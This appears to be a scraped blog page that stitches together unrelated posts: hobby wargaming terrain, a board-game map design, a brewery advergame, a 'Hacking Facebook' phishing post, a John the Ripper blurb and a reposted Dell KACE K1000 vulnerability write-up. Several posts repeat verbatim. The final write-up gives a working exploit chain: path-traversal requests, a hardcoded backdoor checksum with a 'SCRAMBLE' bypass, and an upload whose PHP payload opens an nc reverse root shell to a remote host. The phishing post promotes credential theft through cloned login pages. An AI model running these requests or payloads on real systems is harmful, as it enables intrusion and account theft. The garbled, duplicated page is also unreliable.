Tuesday, 22 September 2020
Kickstarter Ending Soon - Dreamforge Games Grav-StuG Tank
Take me to the Kickstarter...
What does this project include?
The project was created to fund the tooling and production of a polystyrene plastic model kit. The Eisenken Grav StuG.
We also offer 3d printable building terrain sets, modular, stackable and and loaded with details.
The icing on the cake... Two lucky backers will receive an extra free kit, painted by the extremely talented David Woods! Each StuG you back will provide an entry into the raffle!
Good luck to all of you! now lets get this Kickstarter across the finish line!
Monday, 21 September 2020
So Much Terrain!
I have been working fairly consistently on terrain the last couple of weeks in my limited hobby painting time. The results are a fair bit of work done on Frostgrave terrain and a few random pieces as well. That would, of course, include finishing up those minefields for Team Yankee that I showed off a few posts back.
So here are a few photos of what I have managed to accomplish:
These are supposed to be bases but I thought they would look good as ruined scatter terrain.
An experiment in bamboo stands and some additional small trees.
I should do a few trees up as Frostgrave bushes I think.
The largest piece of Frostgrave terrain I have. It gives a bit of a third dimension to
the battlefield, which it desperately needs. I need a tower, too.
A harmless statue, or a devastating golem?
Another statue? And yet another ruined wall... are there no buildings still standing?
More tombstones (I think I will sell some on eBay)
Also, a trio of beer barrels. Because beer.
Saturday, 12 September 2020
Riders Of The Pony Express - Map Board Thoughts
I originally tried to use a thematic prototype board for Riders of the Pony Express:
(I had drawn routes on this image)
But while iterating on the design, I quickly switched to a more schematic type of board:
I had originally wanted the routs to be asymmetric, so the board geography would be more interesting, but then I realized that that's what the hazard tiles are for! So I made the symmetric board shown above, with the "shortest" routes being the north-south and east-west ones, and the longest routes being the diagonal ones. The "cost" of the routes is supposed to represent the distance and danger of taking the route, and you pay it by advancing that number of spaces on the time track. At the end of the round, you collect a bonus based on your position on the time track - the farther you have gone, the less money (points) you receive as a bonus.
Hazard tiles will be placed in each of those red squares along the routes, which will add anywhere from +0 (tumbleweed) to +5 (mountain) to the route. These randomly placed hazards serve to make the board asymmetric, and to make certain towns easier to get to than others, or certain routes more expensive than others. This way, the board itself can be a simple grid, but the routes can be dynamic and interesting.
That's all well and good for testing a prototype, but when it comes to getting serious about the design, it would be great to figure out how to represent this schematic board in a more thematic way. In addition, the game is currently a bit fiddly to set up due to having to draw a bunch of hazard and items tiles, place them on the board, and then return some of them to the bag. One of my testers had the great idea of combining a few of the hazards onto single, bigger tiles, so that setup is easier, quicker, and less fiddly.
I wasn't sure how to do that at first, and I'd prefer to also make the board look less like a grid and more like an organic map. However, so far I've only managed to come up with this tessellation, which I think will work just like the schematic above, but with the hazards printed on them. Some of those hazard spaces could be empty, to be filled in later rounds as normal:
This could work out OK, but I don't know if it attracts me as much as an organic-seeming geography. In any case, it could be a step in the right direction.
If the board were made up of tessellated tiles like this, then it might be good to keep the name of the towns fixed. To facilitate that, I was thinking that each tile could have a hole in it, so the town would show through the holes. This could hep keep it both thematically more accurate, and also easier or players to remember which town is where!
So what do you think? Should I stick with this tessellated tile idea? Or find another way to improve the board for the game?
(I had drawn routes on this image)
But while iterating on the design, I quickly switched to a more schematic type of board:
I had originally wanted the routs to be asymmetric, so the board geography would be more interesting, but then I realized that that's what the hazard tiles are for! So I made the symmetric board shown above, with the "shortest" routes being the north-south and east-west ones, and the longest routes being the diagonal ones. The "cost" of the routes is supposed to represent the distance and danger of taking the route, and you pay it by advancing that number of spaces on the time track. At the end of the round, you collect a bonus based on your position on the time track - the farther you have gone, the less money (points) you receive as a bonus.
Hazard tiles will be placed in each of those red squares along the routes, which will add anywhere from +0 (tumbleweed) to +5 (mountain) to the route. These randomly placed hazards serve to make the board asymmetric, and to make certain towns easier to get to than others, or certain routes more expensive than others. This way, the board itself can be a simple grid, but the routes can be dynamic and interesting.
That's all well and good for testing a prototype, but when it comes to getting serious about the design, it would be great to figure out how to represent this schematic board in a more thematic way. In addition, the game is currently a bit fiddly to set up due to having to draw a bunch of hazard and items tiles, place them on the board, and then return some of them to the bag. One of my testers had the great idea of combining a few of the hazards onto single, bigger tiles, so that setup is easier, quicker, and less fiddly.
I wasn't sure how to do that at first, and I'd prefer to also make the board look less like a grid and more like an organic map. However, so far I've only managed to come up with this tessellation, which I think will work just like the schematic above, but with the hazards printed on them. Some of those hazard spaces could be empty, to be filled in later rounds as normal:
This could work out OK, but I don't know if it attracts me as much as an organic-seeming geography. In any case, it could be a step in the right direction.
If the board were made up of tessellated tiles like this, then it might be good to keep the name of the towns fixed. To facilitate that, I was thinking that each tile could have a hole in it, so the town would show through the holes. This could hep keep it both thematically more accurate, and also easier or players to remember which town is where!
So what do you think? Should I stick with this tessellated tile idea? Or find another way to improve the board for the game?
Friday, 4 September 2020
TAP THE TAP: An Advergame To Promote A Brazilian Brewhouse
This site is a platform to discuss gaming concept ideas, but it's also a place where I can show a little bit of my game designing work. In this post, I want to present a game that I developed for Let's Beer – a Brazilian brewhouse located in São Paulo.
TAP THE TAP is an advergame; in other words: a game to promote a brand, a product or a service. A ludic project with advertising purposes. TAP THE TAP is a hyper-casual game with simple mechanics where you must tap the beer taps to match the same order from the clients at the bar. As the game advances, you must be faster to deliver the beers or you can lose a life. Let's Beer brewhouse used the game to give its customers discounts based on points, engaging them to a branding experience and promoting a new bitter ale produced by the company. Click here to play the game.
TAP THE TAP is a very fast experience created with HTML 5 programming. The game does not require any plugins and players can open it directly on the browser (desktop or mobile). The game is an attempt to promote de brewhouse and to establish a new dialogue with customers that can share the game with friends in a viral way.
One more produced. One more to use as an example in classes and for the portfolio.
#GoGamers
TAP THE TAP is an advergame; in other words: a game to promote a brand, a product or a service. A ludic project with advertising purposes. TAP THE TAP is a hyper-casual game with simple mechanics where you must tap the beer taps to match the same order from the clients at the bar. As the game advances, you must be faster to deliver the beers or you can lose a life. Let's Beer brewhouse used the game to give its customers discounts based on points, engaging them to a branding experience and promoting a new bitter ale produced by the company. Click here to play the game.
TAP THE TAP is a very fast experience created with HTML 5 programming. The game does not require any plugins and players can open it directly on the browser (desktop or mobile). The game is an attempt to promote de brewhouse and to establish a new dialogue with customers that can share the game with friends in a viral way.
One more produced. One more to use as an example in classes and for the portfolio.
#GoGamers
Monday, 31 August 2020
Hacking Facebook By Using PHP Script | Social Engineering Attack | LAN And WAN (Same Or Different Networks)
This Video is absolutely for Educational Purposes only, please don't do any illegal activity. If you do then I'm not responsible for your illegal activity. The purpose of this video is to show you How hackers can hack your social media by using their own local servers.
Basically these type of attacks known as Social Engineering attacks or Phishing. Attacker just send the duplicate vulnerable HTML page to the victim, when victim enters any type of information to that vulnerable page it'll automatically received by the attacker.
Phishing is a form of fraud in which an attacker masquerades as a reputable entity or person in email or other communication channels. The attacker uses phishing emails to distribute malicious links or attachments that can perform a variety of functions, including the extraction of login credentials or account information from victims.
How phishing works
Phishing attacks typically rely on social networking techniques applied to email or other electronic communication methods, including direct messages sent over social networks, SMS text messages and other instant messaging modes.Phishers may use social engineering and other public sources of information, including social networks like LinkedIn, Facebook and Twitter, to gather background information about the victim's personal and work history, his interests, and his activities.
Hacking by PHP
As PHP is server side scripting language so first of all you have need to install a local server (WAMP, XAMPP or LAMPP) over your system. Because if there is no any server running on your system then you can't even run your PHP script. So if you wanna do a programming with PHP this is the first step to download and install a server from the Internet. You can easily download and install servers by watching my videos. Just visit my YouTube channel and watch there.Hacking Facebook By Using PHP Script | Social Engineering Attack | You can perform this attack over LAN and WAN (Same or Different Networks)
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Sunday, 30 August 2020
John The Ripper
"A powerful, flexible, and fast multi-platform password hash cracker John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here or here. " read more...
Website: http://www.openwall.com/john
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The Curious Case Of The Ninjamonkeypiratelaser Backdoor
A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below:
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